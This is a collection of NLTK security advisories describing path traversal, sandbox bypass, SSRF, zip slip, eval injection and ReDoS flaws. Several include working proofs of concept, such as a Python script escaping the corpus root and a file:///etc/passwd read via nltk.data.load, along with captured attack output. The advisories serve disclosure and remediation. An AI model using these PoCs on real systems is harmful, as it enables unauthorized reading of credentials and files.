CVE: CVE-2026-12072
Links:

Summary

A path-traversal vulnerability in NKJPCorpusReader allows an attacker who can influence the fileids argument of its public read methods (header, raw, words, sents, tagged_words) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin open(), so it bypasses NLTK's nltk.pathsec sandbox — including the strict ENFORCE = True mode that SECURITY.md recommends for web/multi-tenant deployments. header() returns the parsed content of the out-of-root file to the caller (arbitrary file read).

### Details SECURITY.md promises that file access is validated against allowed NLTK data directories and that with nltk.pathsec.ENFORCE = True unauthorized file access … will raise `PermissionError`. That guarantee is enforced via FileSystemPathPointer.open() / CorpusReader.open(), which call nltk.pathsec.validate_path(...).

NKJPCorpusReader never uses that protected path. In nltk/corpus/reader/nkjp.py:

  • add_root() builds the path by plain string concatenation with no normalization or containment check: python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped
  • The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin open()): python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189
  • The other modes reach the filesystem through XML_Tool, which uses a raw os.path.join (not the hardened FileSystemPathPointer.join()) and the builtin open(): python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 — pathsec never consulted

Because open() is the builtin (not PathPointer.open()), the pathsec sentinel is never invoked, so ENFORCE = True does not block the access. For comparison, the safe API CorpusReader.open() (nltk/corpus/reader/api.py:222) rejects ../absolute fileids and calls validate_path(..., required_root=...) before opening — NKJPCorpusReader simply does not go through it.

### PoC Tested against nltk==3.9.4 (latest PyPI release) and current develop.

   pip install "nltk==3.9.4"
   python3 poc.py

poc.py: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter(ignore) import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader

print(nltk, nltk.version)

# A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix=nkjp_corpus_root_) os.makedirs(os.path.join(root, sample), exist_ok=True) open(os.path.join(root, sample, header.xml), w).write()

# The attacker's target: a file OUTSIDE the corpus root. secretdir = tempfile.mkdtemp(prefix="OUTSIDEROOT") open(os.path.join(secretdir, header.xml), w).write( SECRET-API-KEY=sk-live-DEADBEEF )

# Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print(ENFORCE =, pathsec.ENFORCE)

# Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open builtins.open = lambda f, a, *k: (opened.append(str(f)), real(f, a, *k))[1]

reader = NKJPCorpusReader(root=root + /, fileids=sample) # Attacker-controlled fileids; '..' escapes the corpus root: evil = root + /../../../../../../.. + secret_dir + / try: result = reader.header(fileids=[evil]) finally: builtins.open = real

print(opened outside root:, [p for p in opened if OUTSIDE_ROOT_ in p][:1]) print(disclosed content :, result[0][title]) shutil.rmtree(root, ignoreerrors=True); shutil.rmtree(secretdir, ignore_errors=True) ```

Output (unmodified): nltk 3.9.4 ENFORCE = True opened outside root: ['/tmp/nkjp_corpus_root_XXXX/../../../../../../../tmp/OUTSIDE_ROOT_YYYY/header.xml'] disclosed content : SECRET-API-KEY=sk-live-DEADBEEF With ENFORCE = True, NLTK opened a file outside the corpus root via the builtin open() (no PermissionError, no warning) and returned its content.

### Impact This is a path traversal (CWE-22) leading to arbitrary file read. Any application that passes attacker-influenced values into NKJPCorpusReader's fileids (e.g. letting a user choose which corpus document to read) is affected; the attacker can escape the corpus root and read files elsewhere on the host, defeating the ENFORCE=True sandbox.

Honest scoping: header() discloses the content of out-of-root files named header.xml containing NKJP header XML. raw()/words()/sents() also open and read an arbitrary out-of-root file (proven by intercepting open()), but a separate pre-existing bug in XML_Tool (writing str to a binary NamedTemporaryFile) suppresses their return value on current Python, so for those modes the impact is arbitrary file open/read. The attacker chooses the directory freely; a fixed basename is appended per mode. The same build-path-then-builtin-open, skipping pathsec anti-pattern also appears in xmldocs.py:161, util.py:212,215, crubadan.py:78,97, lin.py:43, ipipan.py:191, pl196x.py:110 and is worth fixing as a class.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

NLTK: Uncontrolled search path when invoking the Graphviz 'dot' binary

Published date: 2026-09-01T20:27:20Z
CVE: CVE-2026-78680
Links:

Two NLTK sites executed the Graphviz dot program by bare name, so process creation resolved it via the search path — and on Windows via the current working directory — rather than a validated absolute location. An attacker who can place a file named dot where resolution looks (the CWD on Windows, or a writable/relative entry such as . on PATH) has their binary executed in place of Graphviz (arbitrary code execution).

Affected (<= 3.10.2): - nltk.parse.dependencygraph.dot2img — called find_binary("dot") but discarded the returned validated path and then ran the bare name ["dot", ...], so the validation had no effect. - nltk.translate.api.AlignedSent._repr_svg_ — ran the bare name with no validation at all (IPython SVG rendering).

This is the same class already fixed for the senna, weka, boxer, malt, repp and hunpos wrappers. nltk.internals.find_binary refuses a CWD-relative match for a bare tool name and returns only a trusted absolute path; the fix runs that path in both sites.


Attack demonstration

Captured output, not illustrative. A ./dot that writes a PWNED marker, planted in the CWD with . prepended to PATH.

The vulnerable behaviour (old bare-name exec): Control (OLD behavior) — bare ['dot'] in this dir with '.' on PATH: bare ['dot'] executed planted binary = True

The patched functions refuse it: FIXED code, with ./dot planted and '.' on PATH: dependencygraph.dot2img : Exception "Cannot find the dot binary..." | planted-binary-executed=False safe AlignedSent._repr_svg_ : Exception "Cannot find the dot binary..." | planted-binary-executed=False safe

And find_binary itself was attacked directly (the fix trusts nothing else): Attack 1: ./dot in CWD, no dot on PATH -> LookupError (refused) safe Attack 2: ./dot/dot (dir 'dot' holding 'dot') -> LookupError (refused) safe Attack 3: '.' on PATH + ./dot -> LookupError (refused) safe Attack 4: attacker-writable ABSOLUTE dir on PATH -> returned /…/evilbin/dot (absolute) Attack 4 is out of scope: trusting an absolute directory that is already on PATH is the operating system's own trust model — an attacker who can write to a PATH directory owns the account regardless of NLTK. find_binary defends specifically against the CWD/relative injection that bare-name exec is vulnerable to (attacks 1–3), which is exactly what this fix inherits.

Environment: python 3.13.7. dot is not required to reproduce — the planted binary is the payload.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: pathsec SSRF protection can be bypassed when a proxy is configured

Published date: 2026-09-08T16:41:40Z
CVE: CVE-2026-78682
Links:

Summary

Current NLTK source reopens SSRF in proxied environments. pathsec.urlopen() validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.

Details

  • Vulnerability type: Server-side request forgery
  • Affected component: nltk.pathsec.urlopen, nltk.data.load, nltk.downloader.Downloader.index, nltk.downloader.Downloader.download
  • Affected versions: Current source v3.10.0-rc2; published 3.9.4 was a negative control and did not reproduce.
  • Patched versions: Not yet patched
  • Root cause: Proxy-handler inheritance disables _SafeHTTPHandler and _SafeHTTPSHandler, so the validated hostname no longer matches the actual egress destination.

The hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies ProxyHandler instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via pathsec.urlopen(), nltk.data.load(), Downloader.index(), and Downloader.download().

PoC

Preconditions - The runtime has an HTTP proxy configured and the caller relies on pathsec to keep network fetches SSRF-safe.

Steps 1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload. 2. Configure a proxy that forwards a validated public URL to that internal loopback service. 3. Call pathsec.urlopen() or nltk.data.load() on the public URL and observe the internal response is returned. 4. Instantiate Downloader(server_index_url=...), call index() and download(), and observe internal-only content is parsed and installed.

Minimal reproducible excerpt

{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}

Impact

Consumers that trust pathsec as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.

Remediation

Preserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across pathsec.urlopen, nltk.data.load, and downloader fetches with a configured proxy.

References


Fix + attack demonstration (verified)

NLTK cannot pin the egress through a proxy, so it stops pretending to: under ENFORCE a proxied fetch is refused rather than performed unvalidated. Operators who trust their proxy opt back in with NLTK_ALLOW_PROXIED_URLOPEN=1 or nltk.pathsec.ALLOW_PROXIED_FETCH=True; under ENFORCE=False the refusal degrades to a warning. This closes the whole class (environment proxies and explicit ProxyHandler alike), because NLTK declines any fetch whose egress it cannot validate.

Attack demonstration (reproduced; captured output)

A loopback HTTP server stands in for the internal target; http_proxy points at it; NLTK is asked for a public IP URL.

Before the fix — the internal secret is exfiltrated through the proxy: validate_network_url(public): PASSED *** BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNAL_ONLY_SECRET'

After the fix — five scenarios, isolated subprocesses: | Scenario | Result | |---|---| | proxied (env) + ENFORCE | PermissionErrorblocked | | proxied + opt-in | returns secret — escape hatch works | | explicit ProxyHandler (not env) + ENFORCE | PermissionErrorblocked (whole class) | | no proxy (direct) | internal IP still refused — pinning intact | | proxied + ENFORCE=False | returns secret + warns |

Tests

nltk/test/unit/test_pathsec.py: 64 passed. Added an end-to-end regression (test_proxied_fetch_does_not_reach_internal_target) plus test_env_proxy_fails_closed_under_enforce; the prior test_env_proxy_skips_pinning_handlers (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.

Note

The upfront validate_network_url() and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

NLTK: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol

Published date: 2026-09-08T15:27:12Z
CVE: CVE-2026-65915
Links:

Summary

There's a logic bug in FileSystemPathPointer.open() inside nltk/data.py that makes the sandbox check permanently inert. The guard condition is always False — meaning any file the process can read is accessible by passing a file:// URL to nltk.data.load().


Details

In nltk/data.py, FileSystemPathPointer.open() was patched at some point with a comment saying SECURITY PATCH ENFORCING SANDBOX, but the check doesn't work: ```python def open(self, encoding=None): path = os.path.normpath(self._path)

# Block raw absolute reads such as "/" "C:\\Windows" etc.
if os.path.isabs(path) and path != os.path.normpath(self._path):
    raise ValueError(f"Direct absolute file access blocked: {path}")

stream = open(self._path, "rb")

`path` is set to `os.path.normpath(self._path)` on line 1, then compared
against `os.path.normpath(self._path)` again in the condition. They are
always equal. The `ValueError` never fires.

On top of that, `__init__` already calls `os.path.abspath()` before storing
`self._path`, so it's normalized before `open()` is even called. Running
`normpath` on it again changes nothing.

The `stream = open(self._path, "rb")` line is always reached regardless of
what path was passed in.

---

### PoC

Tested on Python 3.11, NLTK 3.9.1, Ubuntu 22.04.
```python
import nltk
from nltk.data import FileSystemPathPointer

# direct construction
ptr = FileSystemPathPointer("/etc/passwd")
with ptr.open() as f:
    print(f.read(300))

# via load() using file:// URL
data = nltk.data.load("file:///etc/passwd", format="raw")
print(data[:300])

Both print file contents. No exception is raised.


Impact

Any app that lets users influence the string passed to nltk.data.load() or nltk.data.find() is exposed — web APIs, notebook servers, multi-tenant pipelines. An attacker can read any file the process user has access to: /etc/passwd, .env files, private keys, ~/.aws/credentials, etc.

Suggested Fix

File: nltk/data.pyFileSystemPathPointer.open() (lines 378–390)

What's wrong

Line 387 compares normpath(self._path) against itself — always equal, so the ValueError never fires. The check is dead code. __init__ already calls abspath() on construction, so re-running normpath inside open() changes nothing either.


Fix

Validate against the actual list of permitted data directories instead: python def open(self, encoding=None): import nltk.data as _d allowed = [os.path.abspath(p) for p in _d.path if p] if allowed and not any( os.path.commonpath([self._path, r]) == r for r in allowed ): raise ValueError( f"Access outside nltk_data blocked: {self._path!r}" ) stream = open(self._path, "rb") if encoding is not None: stream = SeekableUnicodeStreamReader(stream, encoding) return stream


Why commonpath not startswith

startswith is bypassable by a path that shares a prefix: /tmp/nltk_data_evil".startswith("/tmp/nltk_data") → True ✗ commonpath(["/tmp/nltk_data_evil", "/tmp/nltk_data"]) → "/tmp" ✓


Diff

-    path = os.path.normpath(self._path)
-    if os.path.isabs(path) and path != os.path.normpath(self._path):
-        raise ValueError(f"Direct absolute file access blocked: {path}")
-
+    import nltk.data as _d
+    allowed = [os.path.abspath(p) for p in _d.path if p]
+    if allowed and not any(
+        os.path.commonpath([self._path, r]) == r for r in allowed
+    ):
+        raise ValueError(f"Access outside nltk_data blocked: {self._path!r}")
     stream = open(self._path, "rb")

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

Duplicate Advisory: FileSystemPathPointer.open() sandbox check is dead code — arbitrary file read via file:// protocol

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-72r2-7mfr-5xr9. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.0 contain a logic bug in FileSystemPathPointer.open() where the sandbox validation check compares a normalized path against itself, making the security check permanently inert. Attackers can pass file:// URLs to nltk.data.load() to read arbitrary files accessible to the process user, including credentials and configuration files.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

NLTK has a Zip Slip Vulnerability

Published date: 2026-02-18T18:30:40Z
CVE: CVE-2025-14009
Links:

A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The unzipiter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as init.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

NLTK vulnerable to Eval Injection via collocations CLI arguments

Published date: 2026-07-25T00:31:47Z
CVE: CVE-2025-71408
Links:

NLTK (Natural Language Toolkit) before version 3.9.3 contains an eval injection vulnerability in the nltk.collocations module that allows an attacker who controls command-line arguments to execute arbitrary Python code. When collocations.py is invoked directly, the main block passes command-line arguments directly to eval() as suffixes of BigramAssocMeasures without allowlist validation or sanitization, enabling an attacker to supply a Python expression that escapes the intended attribute lookup and executes arbitrary code including OS commands via the os module.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2"]
Secure versions: []

Duplicate Advisory: Symlink escape in CorpusReader allows arbitrary local file read outside the corpus root

Published date: 2026-08-22T15:31:04Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-r6gq-whwq-mvg9. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.9.4 contain a symlink escape vulnerability in CorpusReader.open() that allows local attackers to read arbitrary files outside the corpus root. The vulnerability exists because path validation is lexical and does not account for symlink resolution, enabling attackers to place symlinks inside the corpus root to access files outside the intended boundary.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3"]
Secure versions: []

NLTK: Model-artifact APIs bypass pathsec and touch files outside allowed roots

Published date: 2026-09-02T14:35:04Z
CVE: CVE-2026-81726
Links:

Summary

Several model-artifact APIs still treat caller-controlled model paths as ordinary filenames even when NLTK path security is enforced. The same outside-root paths are rejected by guarded helpers, but these public read and write flows still use raw file APIs.

Details

  • Vulnerability type: File sandbox bypass
  • Affected component: TransitionParser.train, TransitionParser.parse, AveragedPerceptron.save, AveragedPerceptron.load, PerceptronTagger.save_to_json, save_maxent_params
  • Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced.
  • Patched versions: Not yet patched
  • Root cause: Model import and export helpers use built-in open() on caller-controlled paths instead of pathsec-aware helpers.

TransitionParser.train() writes outside allowed roots, TransitionParser.parse() reads outside allowed roots, AveragedPerceptron bypasses the sandbox in both directions, and adjacent read-side helpers in the same family already show the intended guarded behavior. I confirmed outside-root reads and writes while pathsec.open() or the guarded sibling helpers rejected the same paths.

PoC

Preconditions - The application enables pathsec enforcement and lets untrusted workflows choose model import or export paths.

Steps 1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory. 2. Use public model import or export APIs with paths that point outside that root. 3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.load_from_json(), or load_maxent_params(). 4. Observe the vulnerable APIs still read or write outside-root files successfully.

Minimal reproducible excerpt

transition_train_exists True
transition_parse_loader_read_bytes 13
averaged_load_keys ['bias']
maxent_save wrote ['alwayson.tab', 'labels.txt']

Impact

Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.

Remediation

Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2", "3.10.3"]
Secure versions: []

NLTK: Pl196xCorpusReader has quadratic ReDoS on malformed TEI blocks

Published date: 2026-09-08T20:28:46Z
CVE: CVE-2026-81725
Links:

Summary

Pl196xCorpusReader still parses whole TEI blocks with multiple lazy regexes over attacker-controlled text. A malformed file with many opening tags and no matching closing tags forces repeated rescans and produces quadratic CPU growth in public reader APIs.

Details

  • Vulnerability type: Regular-expression denial of service
  • Affected component: nltk.corpus.reader.pl196x.TEICorpusView.read_block and Pl196xCorpusReader public methods
  • Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced.
  • Patched versions: Not yet patched
  • Root cause: Lazy .*? whole-block regexes rescan untrusted XML-like blocks from each opening-tag position.

The parser uses regexes for paragraphs, sentences, and word tags across the whole <text> block. When the attacker supplies many unmatched opening tags, each attempt scans toward the end of the block and fails, then restarts from the next opening tag. There is near four-times runtime growth each time the number of malformed <p> tags doubled, through normal public calls such as words() and tagged_words().

PoC

Preconditions - The application parses attacker-influenced PL196X or TEI-like corpus files through public reader APIs.

Steps 1. Create a corpus file with a valid header followed by a <text> block that contains many opening tags and no matching closing tags. 2. Instantiate Pl196xCorpusReader on that corpus. 3. Call words() or tagged_words() and measure elapsed time as the malformed tag count doubles. 4. Observe near quadratic growth instead of near-linear behavior.

Minimal reproducible excerpt

size=1000 0.014s
size=2000 0.057s
size=4000 0.231s
size=8000 0.927s

Impact

A consumer that accepts attacker-influenced corpus files can be forced into heavy CPU use and parser-thread stalling before the application concludes the input contains no valid content.

Remediation

Replace the whole-block lazy-regex parser with a linear parser or bounded tokenizer, and add regression tests that assert near-linear behavior on malformed inputs with many unmatched tags.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4", "3.10.0", "3.10.1", "3.10.2"]
Secure versions: []

Duplicate Advisory: [CWE-1188] Default ENFORCE=False Disables All pathsec Security Controls

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-p3m8-78j2-g5p3. This link is maintained to preserve external references.

Original Description

NLTK versions before 3.10.0 default to ENFORCE=False in pathsec.py, causing all security validation functions to emit warnings instead of raising exceptions. Attackers can bypass path traversal and pickle deserialization protections by exploiting the disabled security controls that are only active when manually enabled.

Affected versions: ["0.8", "2.0b4", "3.0.1", "2.0.1", "0.9.5", "2.0.5", "3.0.2", "3.2.3", "0.9.8", "3.2.1", "0.9.6", "3.6", "2.0.1rc4", "3.0.0", "3.1", "3.5", "3.0.5", "2.0.1rc3", "3.5b1", "0.9.9", "0.9.4", "3.0.3", "3.0.4", "3.4.4", "3.0.0b1", "3.3", "0.9.3", "2.0.1rc1", "2.0.4", "2.0b6", "3.4.5", "3.6.1", "2.0.2", "0.9", "2.0b8", "2.0.1rc2-git", "3.2.5", "3.2", "2.0b5", "3.2.4", "3.4", "2.0b9", "3.4.2", "2.0b7", "3.0.0b2", "3.4.3", "0.9.7", "2.0.3", "3.2.2", "3.4.1", "3.6.2", "3.6.3", "3.6.4", "3.6.5", "3.6.6", "3.6.7", "3.7", "3.8", "3.8.1", "3.8.2", "3.9b1", "3.9", "3.9.1", "3.9.2", "3.9.3", "3.9.4"]
Secure versions: []

Duplicate Advisory: Security Report: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

Published date: 2026-08-22T15:31:03Z
Links:

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-x5ph-mj9p-rfr8. This link is maintained to preserve external references.

Original Description

NLTK before 3.10.0 contains an arbitrary local file read vulnerability in StreamBackedCorpusView that bypasses pathsec.ENFORCE by calling builtins.open() directly instead of pathsec.open(). Attackers who control the fileid argument can read arbitrary local files regardless of the ENFORCE setting, including sensitive system files and application credentials.

